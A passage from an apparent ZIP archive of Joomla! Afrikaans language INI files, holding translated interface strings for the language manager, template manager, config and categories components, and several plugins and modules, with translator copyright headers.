              Opdateer nou!" PLG_QUICKICON_JOOMLAUPDATE_UPTODATE="Joomla! is op datum" PLG_QUICKICON_JOOMLAUPDATE_GROUP_LABEL="Groep" PLG_QUICKICON_JOOMLAUPDATE_XML_DESCRIPTION="Toets vir opdateerings van Joomla! en laat jou weet wanneer jy die Beheerpaneel-bladsy besoek" PLG_QUICKICON_JOOMLAUPDATE="Vinnige Ikoon - Joomla! Opdateer Kennisgewing" PLG_QUICKICON_JOOMLAUPDATE_GROUP_DESC="Die groep waaraan hierdie inprop-program behoort." PK@y>\  'language/af-ZA/af-ZA.com_config.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.com_config.sys.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word COM_CONFIG="Konfigurasie Bestuurder" COM_CONFIG_XML_DESCRIPTION="Konfigurasie Bestuurder" PK@y>\1/!!+language/af-ZA/af-ZA.com_categories.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.com_categories.sys.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word COM_CATEGORIES="Kategorië" COM_CATEGORIES_XML_DESCRIPTION="Hierdie komponent bestuur kategorië" PK@y>\t..&language/af-ZA/af-ZA.com_languages.ininuW+A; Afrikaanse Vertaling http://joomlacode.org/gf/project/afrikaans_taal ; $Id: af-ZA.com_languages.ini 1788 2012-07-31 22:18:21Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word COM_LANGUAGES_FTP_TITLE="FTP Inteken Details" COM_LANGUAGES_HEADING_AUTHOR_EMAIL="Outeur E-pos" COM_LANGUAGES_HEADING_DEFAULT="Verstek" COM_LANGUAGES_HEADING_LANG_IMAGE="Beeld Voorvoegsel" COM_LANGUAGES_HEADING_LANGUAGE="Taal" COM_LANGUAGES_HEADING_NUM="#" COM_LANGUAGES_MSG_DEFAULT_LANGUAGE_SAVED="Verstek Taal Saved" COM_LANGUAGES_N_ITEMS_DELETED_1="%d taal suksesvol geskrap" COM_LANGUAGES_N_ITEMS_DELETED="%d tale suksesvol geskrap" COM_LANGUAGES_N_ITEMS_PUBLISHED_1="%d taal suksesvol gepubliseer" COM_LANGUAGES_N_ITEMS_PUBLISHED="%d tale suksesvol gepubliseer" COM_LANGUAGES_N_ITEMS_TRASHED_1="%d taal suksesvol gepurgeer" COM_LANGUAGES_N_ITEMS_TRASHED="%d tale suksesvol gepurgeer" COM_LANGUAGES_N_ITEMS_UNPUBLISHED_1="%d taal suksesvol ontpubliseer" COM_LANGUAGES_N_ITEMS_UNPUBLISHED="%d tale suksesvol ontpubliseer" COM_LANGUAGES_NO_ITEM_SELECTED="Geen tale gekies nie" COM_LANGUAGES_SAVE_SUCCESS="Inhoud Taal suksesvol gestoor" COM_LANGUAGES_SEARCH_IN_TITLE="Deursoek titels" COM_LANGUAGES_SUBMENU_CONTENT="Inhoud" COM_LANGUAGES="Taal Bestuurder" COM_LANGUAGES_VIEW_INSTALLED_TITLE="Taal Bestuurder: Geïnstalleerde Tale" COM_LANGUAGES_VIEW_LANGUAGE_EDIT_EDIT_TITLE="Taal Bestuurder: Redigeer Inhoud Taal" COM_LANGUAGES_VIEW_LANGUAGE_EDIT_NEW_TITLE="Taal Bestuurder: Nuwe Inhoud Taal" COM_LANGUAGES_VIEW_LANGUAGES_TITLE="Taal Bestuurder: Inhoud Tale" COM_LANGUAGES_XML_DESCRIPTION="Komponent vir taal bestuur" COM_LANGUAGES_CONFIGURATION="Taal Bestuurder Opsies" COM_LANGUAGES_ERR_PUBLISH="Kies 'n taal om te publiseer" COM_LANGUAGES_ERR_NO_LANGUAGE_SELECTED="Geen Taal gekies nie" COM_LANGUAGES_FILTER_CLIENT_LABEL="Filter Plek:" COM_LANGUAGES_ERR_DELETE="Kies 'n taal om te skrap" COM_LANGUAGES_FIELD_IMAGE_LABEL="Beeld Voorvoegsel" COM_LANGUAGES_FIELD_LANG_CODE_LABEL="URL Taal Kode" COM_LANGUAGES_FIELD_LANG_TAG_LABEL="Taal Merk" COM_LANGUAGES_FIELD_TITLE_NATIVE_DESC="Titel in Tuistaal" COM_LANGUAGES_FIELD_TITLE_NATIVE_LABEL="Titel Tuistaal" COM_LANGUAGES_HEADING_TITLE_NATIVE="Titel in Tuistaal" COM_LANGUAGES_FIELD_DESCRIPTION_DESC="Tik hier 'n beskrywing vir die taal in" COM_LANGUAGES_FIELD_TITLE_DESC="Die naam van die taal soos dit in die lyse sal verskyn" COM_LANGUAGES_SUBMENU_INSTALLED_ADMINISTRATOR="Geinstalleer - Administrateur" COM_LANGUAGES_HOMEPAGE="Tuiste" COM_LANGUAGES_SUBMENU_INSTALLED_SITE="Geinstalleer - Werf" COM_LANGUAGES_FIELDSET_SITE_NAME_LABEL="Werf Naam" COM_LANGUAGES_FIELD_SITE_NAME_LABEL="Pasgemaakte Webwerf Naam" COM_LANGUAGES_OVERRIDE_FIELD_FILE_LABEL="Lêer" COM_LANGUAGES_OVERRIDE_FIELD_LANGUAGE_LABEL="Taal" COM_LANGUAGES_VIEW_OVERRIDES_TEXT="Teks" COM_LANGUAGES_MULTILANGSTATUS_NONE="Hierdie werf is nie as 'n veeltalige werf gestel nie." COM_LANGUAGES_OVERRIDE_FIELD_SEARCHTYPE_CONSTANT="Konstant" COM_LANGUAGES_OVERRIDE_FIELD_SEARCHSTRING_LABEL="Soektog Teks" COM_LANGUAGES_OVERRIDE_FIELD_SEARCHTYPE_LABEL="Soek vir" COM_LANGUAGES_OVERRIDE_FIELD_SEARCHTYPE_TEXT="Waarde" COM_LANGUAGES_VIEW_OVERRIDE_CLIENT_SITE="Werf" COM_LANGUAGES_VIEW_OVERRIDE_LANGUAGE="%1 [%2]" COM_LANGUAGES_VIEW_OVERRIDE_RESULTS_LEGEND="Soektog Resultate" COM_LANGUAGES_VIEW_OVERRIDE_SEARCH_BUTTON="Soek" JLIB_RULES_SETTING_NOTES="1. Indien jy die instelling wysig, sal dit op hierdie en alle afstammelings-kategorië toegepas word. Let op dat:
              Geërf beteken dat die permissisies van die Ouer kategorie gebruik sal word as daar 'n Ouer kategorie, of as daar nie 'n Ouer kategorie is nie, die komponent s'n gebruik sal word.
              Gewyer beteken dat ongeag wat die globale konfigurasie of Ouer kategorie instelling is, die groep wat geredigeer word nie hierdie aksie binne-in die komponent sal toepas nie.
              Toegelaat beteken dat die groep wat geredigeer word, die aksies vir hierdie binne-in die komponent sal toepas (maar as dit in konflik met die Ouer-kategorie of Komponent instelling is, sal dit geen verskil maak nie; 'n konflik sal aangetoon word met Nie Toegelaat nie (Gesluit) onder Berekende Instellings).
              2. Indien jy 'n nuwe instelling kies, kliek op Stoor om die berekende instellings te vervars." COM_LANGUAGES_VIEW_OVERRIDES_KEY="Konstant" COM_LANGUAGES_VIEW_OVERRIDE_CLIENT_ADMINISTRATOR="Administrateur" COM_LANGUAGES_OVERRIDE_FIELD_OVERRIDE_LABEL="Teks" COM_LANGUAGES_OVERRIDE_FIELD_KEY_LABEL="Taal Konstant" COM_LANGUAGES_OVERRIDE_FIELD_LANGUAGE_DESC="Taal waarvoor die konstant oorskryf is." COM_LANGUAGES_MULTILANGSTATUS_SITE_LANG_PUBLISHED="Publiseerde Werf Tale" COM_LANGUAGES_MULTILANGSTATUS_LANGUAGEFILTER_DISABLED="Hierdie werf is as 'n veeltalige werf gestel. Die Taalfilter inprop-program is nie ontsper nie, alhoewel een of meer Taal-Skakel modules EN/OF een of meer spesifieke Inhoudstaal Verstek-Tuisblaaie gepubliseer is." COM_LANGUAGES_MULTILANGSTATUS_LANGUAGEFILTER="Taal Filter Inprop-program" COM_LANGUAGES_MULTILANGSTATUS_HOMES_PUBLISHED_ALL="1 toegewys aan taal 'Almal'" COM_LANGUAGES_VIEW_OVERRIDES_LANGUAGES_BOX_ITEM="%1 - %2" COM_LANGUAGES_MULTILANGSTATUS_CONTENT_LANGUAGE_PUBLISHED="Gepubliseerde Inhoud Tale" COM_LANGUAGES_MULTILANGSTATUS_HOMES_PUBLISHED="Gepubliseerde Verstek Tuisblaaie" COM_LANGUAGES_FIELD_PUBLISHED_DESC="Of hierdie inhouds-taal gepubliseer is of nie. Indien gepubliseer, sal dit as 'n keuse in die Taal-Skakel-module in die voorkant vertoon word." COM_LANGUAGES_FIELD_SITE_NAME_DESC="Tik hier 'n pasgemaak werfnaam vir hierdie inhouds-taal in. Indien die werfnaam gestel is om te vertoon, sal hierdie pasgemaakte werfnaam gebruik word in plaas van die Global Konfigurasie instelling." COM_LANGUAGES_MULTILANGSTATUS_CONTACTS_ERROR="Party kontakte wat met die gebruiker %s geskakel is, is foutief." COM_LANGUAGES_VIEW_OVERRIDE_NO_RESULTS="Geen ooreenstemmende teks gevind nie" COM_LANGUAGES_VIEW_OVERRIDE_MORE_RESULTS="Verdere Resultate" COM_LANGUAGES_VIEW_OVERRIDE_REFRESHING="Wag asseblief terwyl die kas herbou word." COM_LANGUAGES_VIEW_OVERRIDE_SEARCH_LEGEND="Soekteks wat jy wil wysig" COM_LANGUAGES_VIEW_OVERRIDE_REQUEST_ERROR="Fout met die uitvoer van 'n AJAX-navraag" COM_LANGUAGES_VIEW_OVERRIDES_FILTER_SEARCH_DESC="Soektog-konstant of Teks." COM_LANGUAGES_OVERRIDE_FIELD_CLIENT_LABEL="Plasing" COM_LANGUAGES_FIELD_LANG_CODE_DESC="Hierdie taalkode sal vooraan die werf-URL gelas word. Wanneer SEF ontsper is, sal jy bv. http://mywerf.co.za/af/ kry. As SEF gesper is, sal die suffiks &lang=af aan die einde van die URL gelas word. Let op dat die taalkode uniek onder die geïnstalleerde tale moet wees." COM_LANGUAGES_FIELD_IMAGE_DESC="Prefiks van die beeldlêer vir hierdie taal wanneer die "_QQ_"Gebruik Flaggies-Beelde"_QQ_" Taal-Skakelaar opsie gebruik word, bv. as 'af' gekies is (vir Afrikaans), dan sal die beeldlêer af.gif wees. Beelde en CSS vir hierdie module is in media/mod_languages/" COM_LANGUAGES_FIELD_LANG_TAG_DESC="Tik hier die taal-merk in – voorbeeld: af-ZA vir Afrikaans (ZA). Hierdie behoort die preseiese prefiks te wees wat vir die geïnstalleerde taal gebruik word." COM_LANGUAGES_FTP_DESC="Vir die Taal-instelling as verstek, sal Joomla! jou FTP rekening-gegewens benodig. Tik hulle asseblief in die velde hieronder." COM_LANGUAGES_MULTILANGSTATUS_CONTACTS_ERROR_TIP="Waakskuwing! 'n Gebruiker/Outeur mag slegs een kontak hê" COM_LANGUAGES_MULTILANGSTATUS_ERROR_CONTENT_LANGUAGE="'n Verstek Tuisbladsy is na die %s Inhoudstaal toegewys alhoewel 'n werftaal vir hierdie inhoudstaal nog nie geïnstalleer en/of gepubliseer is nie." COM_LANGUAGES_MULTILANGSTATUS_HOMES_MISSING="Hierdie werf is as 'n multitalige werf gestel. Een of meer van die Verstek tuisbladsye vir die gepubliseerde Inhoudstale ontbreek alhoewel die Taalfilter inprop-program ontsper is." COM_LANGUAGES_MULTILANGSTATUS_HOMES_PUBLISHED_INCLUDING_ALL="Gepubliseerde Verstek Tuisbladsye (insluitend 1 wat aan die taal "Almal" toewys is)" COM_LANGUAGES_MULTILANGSTATUS_LANGSWITCHER_PUBLISHED="Gepubliseerde Taal-Skakel Modules" COM_LANGUAGES_MULTILANGSTATUS_LANGSWITCHER_UNPUBLISHED="Hierdie werf is as 'n multitalige werf gestel, ten minste een Taal-Skakel module wat na die taal "Almal" gestel is moet gepubliseer wees. Ignoreer hierdie boodskap as jy nie 'n taal-skalel module gebruik nie maar direk tussen tale wil skakel." COM_LANGUAGES_MULTILANGSTATUS_USELESS_HOMES="Hierdie werf is nie as 'n multitalige werf gestel nie. Nota: Ten minste een Verstek Tuistbladsy is aan 'n Inhoudstaal toegewys." COM_LANGUAGES_VIEW_OVERRIDES_TITLE="Taal Bestuurder: Taal Oorheersings" COM_LANGUAGES_VIEW_OVERRIDE_EDIT_EDIT_OVERRIDE_LEGEND="Redigeer hierdie Oorheersing" COM_LANGUAGES_SUBMENU_OVERRIDES="Oorheersings" COM_LANGUAGES_VIEW_OVERRIDE_EDIT_TITLE="Taal Bestuurder: Redigeer Oorheersing" COM_LANGUAGES_VIEW_OVERRIDE_EDIT_NEW_OVERRIDE_LEGEND="Skep 'n nuwe Oorheersing" COM_LANGUAGES_VIEW_OVERRIDE_SAVE_SUCCESS="Taal Oorheersing was suksesvol gestoor." COM_LANGUAGES_VIEW_OVERRIDES_N_ITEMS_DELETED="%d taal orheersings is suksesvol geskrap" COM_LANGUAGES_VIEW_OVERRIDES_N_ITEMS_DELETED_1="%d taal orheersing is suksesvol geskrap" COM_LANGUAGES_VIEW_OVERRIDES_NO_ITEM_SELECTED="Jy het nie enige oorheersings gekies nie" COM_LANGUAGES_OVERRIDE_FIELD_CLIENT_DESC="Dui aan of die oorheersing is vir die werf (Frontent) of administrateur (Agterent) kliënt geskep is." COM_LANGUAGES_OVERRIDE_FIELD_SEARCHSTRING_DESC="Tik asseblief die teks hier in om na te soek. Dit kan in enige van die taal-lêers wees." COM_LANGUAGES_OVERRIDE_FIELD_FILE_DESC="Taal oorheersings word in 'n spesifieke INI-lêer gestoor (net soos die oorspronklike teks). Hier jy kan sien in watter lêer die huidige oorheersing gestoor is." COM_LANGUAGES_OVERRIDE_FIELD_KEY_DESC="Die taal-konstant van die string wat jy wil oorheers..
              ~Elke taal-string op jou werf is deur 'n spesifieke taal-konstant geïdentifiseer wat jy moet gebruik as jy die string wil oorheers." COM_LANGUAGES_OVERRIDE_FIELD_OVERRIDE_DESC="Hier kan jy die teks intik wat jy wil vertoon in plaas van die oorheersde teks.
              Let op dat daar plekhouers (bv. %s, %d of %1) in the teks is wat belankrik kan wees, dus moet hulle daar bly." COM_LANGUAGES_OVERRIDE_FIELD_SEARCHTYPE_DESC="Hier kan jy kies of jy vir string-naam konstantes of die string-waardes wil soek.
              Dit is ook moontlik om vir taallêërs te soek om al die konstantes en string-waardes in 'n taallêer te verkry." COM_LANGUAGES_VIEW_OVERRIDE_SEARCH_TIP="'n Taalstring bestaan uit twee dele: 'n Taal-konstant en sy ooreenstemmende waarde.
              By voorbeeld, in die string:
                   COM_CONTENT_READ_MORE="_QQ_"Lees Verder:"_QQ_"
              'COM_CONTENT_READ_MORE' is die konstante en 'Lees Verder:' is die string-waarde.
              Jy moet die spefieike string-konstante gebruik om 'n oorheersing vir die string-waarde te maak." COM_LANGUAGES_OVERRIDE_FIELD_BOTH_DESC="Indien hierdie boksie gemerk is, sal die oorheersing vir beide administrateur (Agterent) en die webwerf (Voorkant) gestoor word. Dit is noodsaaklik vir die skep van taal oorheersings vir sommige inprop-programmer omdat hulle taal lêërs, wat in die agterent gestoor word, ook gebruik word in die voorkant (byvoorbeeld: plg_content_vote).
              Let op dat die twee oorheersings heeltemal onafhanklik van mekaar gestoor sal word." COM_LANGUAGES_OVERRIDE_FIELD_BOTH_LABEL="Vir beide plekke" PK@y>\ߌ##,language/af-ZA/af-ZA.plg_system_remember.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.plg_system_remember.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_SYSTEM_REMEMBER="Stelsel - Onthou My" PLG_REMEMBER_XML_DESCRIPTION="Verskaf Onthou-My funksionaliteit" PK@y>\ό##&language/af-ZA/af-ZA.com_templates.ininuW+A; Afrikaanse Vertaling http://joomlacode.org/gf/project/afrikaans_taal ; $Id: af-ZA.com_templates.ini 1788 2012-07-31 22:18:21Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word ; Wat van "Beloer werf"? COM_TEMPLATES_FIELD_HOME_LABEL="Verstek" COM_TEMPLATES_CLICK_TO_ENLARGE="Kliek om te vergroot." COM_TEMPLATES_SUCCESS_DUPLICATED="Styl suksesvol dupliseer." COM_TEMPLATES_PREVIEW="Voorskou" COM_TEMPLATES_MANAGER_TEMPLATES="Templet Bestuurder: Templette" COM_TEMPLATES_TEMPLATE_EDIT_ERROR="Redigeer fout bladsy templet" COM_TEMPLATES_SUBMENU_STYLES="Style" COM_TEMPLATES="Templette Bestuurder" COM_TEMPLATES_FIELD_CLIENT_LABEL="Plek" COM_TEMPLATES_SUBMENU_TEMPLATES="Templette" COM_TEMPLATES_TEMPLATE_DETAILS="%s Details" COM_TEMPLATES_SITE_PREVIEW="Webwerf voorskou" COM_TEMPLATES_MANAGER="Templet Bestuurder" COM_TEMPLATES_TEMPLATE_EDIT_CSS="Redigeer %s" COM_TEMPLATES_TOOLBAR_SET_HOME="Maak Verstek" COM_TEMPLATES_HEADING_DEFAULT="Verstek" COM_TEMPLATES_HEADING_STYLE="Styl" COM_TEMPLATES_HEADING_TEMPLATE="Templet" COM_TEMPLATES_TEMPLATE_PREVIEW="Voorskou" COM_TEMPLATES_BASIC_FIELDSET_LABEL="Basiese Opsies" COM_TEMPLATES_MENUS_ASSIGNMENT="Menu toewysing" COM_TEMPLATES_HEADING_DEFAULT="Verstek" COM_TEMPLATES_TEMPLATE_MASTER_FILES="Templet Meester Lêers" COM_TEMPLATES_TEMPLATE_EDIT_CSS="Redigeer %s" COM_TEMPLATES_TOOLBAR_SET_HOME="Maak Verstek" COM_TEMPLATES_ERR_XML="Templet XML data nie beskikbaar nie" COM_TEMPLATES_TEMPLATE_NO_PREVIEW="Geen voorskou beskikbaar nie" COM_TEMPLATES_CONFIG_POSITIONS_LABEL="Voorskou Module Posisies" COM_TEMPLATES_HEADING_ASSIGNED="Toegewys" COM_TEMPLATES_MANAGER="Templet Bestuurder" COM_TEMPLATES_SUCCESS_HOME_SET="Verstek styl suksesvol gestel." COM_TEMPLATES_TEMPLATE_EDIT_MAIN="Redigeer hoof bladsy templet" COM_TEMPLATES_TEMPLATE_NOT_SPECIFIED="Templet nie spesifiseer nie." COM_TEMPLATES_ERROR_STYLE_NOT_FOUND="Styl nie gevind nie" COM_TEMPLATES_CONFIGURATION="Templet Bestuurder Opsies" COM_TEMPLATES_TEMPLATE_DESCRIPTION="Templet beskrywing" COM_TEMPLATES_ERROR_SOURCE_FILE_NOT_FOUND="Bron lêer nie gevind nie" COM_TEMPLATES_ERROR_STYLE_REQUIRES_TITLE="Die styl vereis 'n titel" COM_TEMPLATES_MANAGER_EDIT_STYLE="Templet Bestuurder: Redigeer Styl" COM_TEMPLATES_ERROR_TEMPLATE_FOLDER_NOT_FOUND="Templet vouer nie gevind nie" COM_TEMPLATES_ERROR_EXTENSION_RECORD_NOT_FOUND="Ekstensie rekord nie in databasis gevind nie" COM_TEMPLATES_ADVANCED_FIELDSET_LABEL="Gevorderde Opsies" COM_TEMPLATES_ASSIGNED_1="Aan een menu item toegewys" COM_TEMPLATES_MANAGER_STYLES="Templet Bestuurder: Style" COM_TEMPLATES_GRID_UNSET_LANGUAGE="Herstel %s Verstek" COM_TEMPLATES_FIELD_HOME_SITE_DESC="Indien die multi-talige funksienaliteit nie geïmplimenteer is nie, beperk asseblief jou keuse tussen Nee en All.Indien die Stelsel - Taal Filtreer inprop-program ontsper is en jy gebruik 'n ander templet style was van jou inhoud tale afhang, wys asseblief 'n taal aan hierdie style toe." COM_TEMPLATES_NO_TEMPLATE_SELECTED="Geen templet gekies nie" COM_TEMPLATES_SUCCESS_HOME_UNSET="Taal styl suksesvol gestel." COM_TEMPLATES_MANAGER_ADD_STYLE="Templet Bestuurder: Voeg Styl by" COM_TEMPLATES_FTP_DESC="???" COM_TEMPLATES_FTP_TITLE="???" COM_TEMPLATES_FIELD_TITLE_DESC="Styl Naam" COM_TEMPLATES_FIELD_TITLE_LABEL="Styl Naam" COM_TEMPLATES_TEMPLATE_CSS="Stylskemas" COM_TEMPLATES_FIELD_SOURCE_DESC="Bron kode" COM_TEMPLATES_FIELD_SOURCE_LABEL="Bron kode" COM_TEMPLATES_FIELD_TEMPLATE_DESC="Templet Naam" COM_TEMPLATES_FIELD_TEMPLATE_LABEL="Templet" COM_TEMPLATES_FILTER_TEMPLATE="- Kies Templet -" COM_TEMPLATES_MANAGER_EDIT_FILE="Templet Bestuurder: Redigeer Lêer" COM_TEMPLATES_CONFIG_FIELDSET_DESC="Globale Konfigurasie vir Templet" COM_TEMPLATES_FILE_SAVE_SUCCESS="Lêer suksesvol gestoor" COM_TEMPLATES_STYLE_SAVE_SUCCESS="Styl suksesvol gestoor" COM_TEMPLATES_STYLES_FILTER_SEARCH_DESC="Soek in styl beskrywing." COM_TEMPLATES_N_ITEMS_DELETED="%d templet style suksesvol geskrap" COM_TEMPLATES_N_ITEMS_DELETED_1="Templet styl suksesvol geskrap" COM_TEMPLATES_MANAGER_VIEW_TEMPLATE="Templet Bestuurder: Pas Templet aan" COM_TEMPLATES_ERROR_FAILED_TO_SAVE_FILENAME="Daar was 'n fout. Die lêer %s kon nie gestoor word nie." COM_TEMPLATES_ASSIGNED_MORE="Toegewys aan %d menu items" COM_TEMPLATES_ERROR_SOURCE_FILE_NOT_WRITABLE="Bron lêer nie skryfbaar nie" COM_TEMPLATES_TEMPLATE_FILENAME="Redigeer lêer "_QQ_"%s"_QQ_" in templet "_QQ_"%s"_QQ_"." COM_TEMPLATES_ERROR_CANNOT_UNSET_DEFAULT_STYLE="Kan nie die verstek styl sper nie" COM_TEMPLATES_STYLE_CANNOT_DELETE_DEFAULT_STYLE="Kan nie verstek style skrap nie" COM_TEMPLATES_TEMPLATE_ADD_CSS="Voeg nuwe stylblad (stylesheet) by" COM_TEMPLATES_ERROR_CANNOT_DELETE_LAST_STYLE="Kan nie die laaste styl van 'n templet skrap nie" COM_TEMPLATES_XML_DESCRIPTION="Hierdie komponent bestuur templette" COM_TEMPLATES_ERROR_EDITOR_DISABLED="Óf die CodeMirror óf die None-redigeerder inprop-program moet ontsper word om die templet lêers te kan redigeer." COM_TEMPLATES_ERROR_SOURCE_ID_FILENAME_MISMATCH="Gestoorde ID stem nie met die bygedrade ene ooreen nie" JLIB_RULES_SETTING_NOTES="1. Indien jy die instelling wysig, sal dit op hierdie en alle afstammelings-kategorië toegepas word. Let op dat:
              Geërf beteken dat die permissisies van die Ouer kategorie gebruik sal word as daar 'n Ouer kategorie, of as daar nie 'n Ouer kategorie is nie, die komponent s'n gebruik sal word.
              Gewyer beteken dat ongeag wat die globale konfigurasie of Ouer kategorie instelling is, die groep wat geredigeer word nie hierdie aksie binne-in die komponent sal toepas nie.
              Toegelaat beteken dat die groep wat geredigeer word, die aksies vir hierdie binne-in die komponent sal toepas (maar as dit in konflik met die Ouer-kategorie of Komponent instelling is, sal dit geen verskil maak nie; 'n konflik sal aangetoon word met Nie Toegelaat nie (Gesluit) onder Berekende Instellings).
              2. Indien jy 'n nuwe instelling kies, kliek op Stoor om die berekende instellings te vervars." COM_TEMPLATES_TEMPLATE_HTML="HTML lêers" COM_TEMPLATES_TEMPLATE_EDIT_PRINTVIEW="Redigeer afdruk-aansig templet" COM_TEMPLATES_TEMPLATE_EDIT_OFFLINEVIEW="Redigeer van-lyn-af-bladsy templet" COM_TEMPLATES_TEMPLATES_FILTER_SEARCH_DESC="Soek in templetnaam of vouernaam." COM_TEMPLATES_TEMPLATE_NO_PREVIEW_ADMIN="Geen voorskou beskikbaar vir Administrateur templette nie" COM_TEMPLATES_FIELD_HOME_ADMINISTRATOR_DESC="Hierdie templet styl is gedefineer of nie die verstek templet styl nie" COM_TEMPLATES_MSG_MANAGE_NO_STYLES="Daar is geen style geinstalleer wat jou navraag pas nie" COM_TEMPLATES_MSG_MANAGE_NO_TEMPLATES="Daar is geen templette geinstalleer wat jou navraag pas nie" COM_TEMPLATES_TEMPLATE_ADD_ERROR="Voeg pasgemaakte fout-bladsy templet by (optioneel)" COM_TEMPLATES_TEMPLATE_NO_PREVIEW_DESC="Om templet-voorskoue te ontsper, ontsper die Voorskou Module Posisies-opsie in Templet Opsies" COM_TEMPLATES_COPY_SUCCESS="Nuwe templet wat %s genoem word, is suksesvol geïnstaleer." COM_TEMPLATES_ERROR_COULD_NOT_COPY="Kon nie templet lêërs na die tydelike lêergids kopieer nie." COM_TEMPLATES_ERROR_COULD_NOT_INSTALL="Kon nie die nuwe templet vanuit die tydelike lêergids installeer nie." COM_TEMPLATES_ERROR_COULD_NOT_WRITE="Kon nie die tydelike lêergids skrap nie." COM_TEMPLATES_ERROR_CREATE_NOT_PERMITTED="Kon nie 'n tydelike lêergids skep nie." COM_TEMPLATES_ERROR_DUPLICATE_TEMPLATE_NAME="'n Templet met daardie naam is reeds geïnstaleer." COM_TEMPLATES_ERROR_INVALID_FROM_NAME="Templet om te kopieer kon nie gevind word nie." COM_TEMPLATES_ERROR_INVALID_TEMPLATE_NAME="Ongeldige templet naam. Gebruik asseblief slegs letters, nommers, koppeltekens en onderstrepies." COM_TEMPLATES_TEMPLATE_COPY="Kopieer Templet" COM_TEMPLATES_TEMPLATE_NEW_NAME_DESC="Nuwe Titel Naam::Tik die naam van die templet hier in. Gebruik asseblief slegs letters, nommers, koppeltekens en onderstrepies." COM_TEMPLATES_TEMPLATE_NEW_NAME_LABEL="Nuwe Templet Naam" COM_TEMPLATES_FIELD_CLIENT_DESC="Of hierdie templet vir die voorkant (0) of die agterkant (1) gebruik word" COM_TEMPLATES_MENU_CHANGED_1="Een menu item is toegewys of on-toegewys aan hierdie styl" COM_TEMPLATES_MENU_CHANGED_MORE="%d menu items is toegewys of on-toegewys aan hierdie styl" COM_TEMPLATES_ERROR_SAVE_DISABLED_TEMPLATE="Kan 'n templet-styl stoor wat met 'n gesperde templet geassosiëer is" COM_TEMPLATES_ERROR_SOURCE_FILE_NOT_UNWRITABLE="Bronlêer kan nie terug na 'n onskryfbare modus verander word nie" ; Moet nog vertaal word.. COM_TEMPLATES_CONFIG_POSITIONS_DESC="Enable the preview of the module positions in the template by appending tp=1 to the web address. Also enables the Preview button in the list of templates. Please refresh the page after changing this setting." PK@y>\)sXS$$-language/af-ZA/af-ZA.plg_editors_none.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.plg_editors_none.sys.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_EDITORS_NONE="Redigeerder - Geen" PLG_NONE_XML_DESCRIPTION="Hierdie laai 'n basiese teks invoer veld." PK@y>\#*#language/af-ZA/af-ZA.mod_logged.ininuW+A; Afrikaanse Vertaling http://joomlacode.org/gf/project/afrikaans_taal ; $Id: af-ZA.mod_logged.ini 1786 2012-07-16 12:22:03Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op : Alle ini lêërs moet as UTF-8 gestoor word MOD_LOGGED="mod_logged" MOD_LOGGED_EDIT_USER="Redigeer gebruiker" MOD_LOGGED_FIELD_COUNT_DESC="Die aantal items om te vertoon (verstek is 5)" MOD_LOGGED_FIELD_COUNT_LABEL="Aantal" MOD_LOGGED_FIELD_NAME_DESC="Vertoon naam of gebruiker naam" MOD_LOGGED_LAST_ACTIVITY="Laaste Aktiviteit" MOD_LOGGED_LOGOUT="Afteken" MOD_LOGGED_NAME="Naam" MOD_LOGGED_SITE="Webwerf" MOD_LOGGED_TITLE_1="Laas-ingetekende Gebruiker" MOD_LOGGED_TITLE="Laas-ingetekende Gebruikers" MOD_LOGGED_TITLE_MORE="Laaste %s ingetekende Gebruikers" MOD_LOGGED_XML_DESCRIPTION="Hierdie Module vertoon 'n lys van die tans-ingetekende Gebruikers" MOD_LOGGED_ADMINISTRATOR="Administrateur" PK@y>\-qq5language/af-ZA/af-ZA.plg_editors-xtd_readmore.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.plg_editors-xtd_readmore.sys.ini 1703 2012-02-03 11:27:44Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie 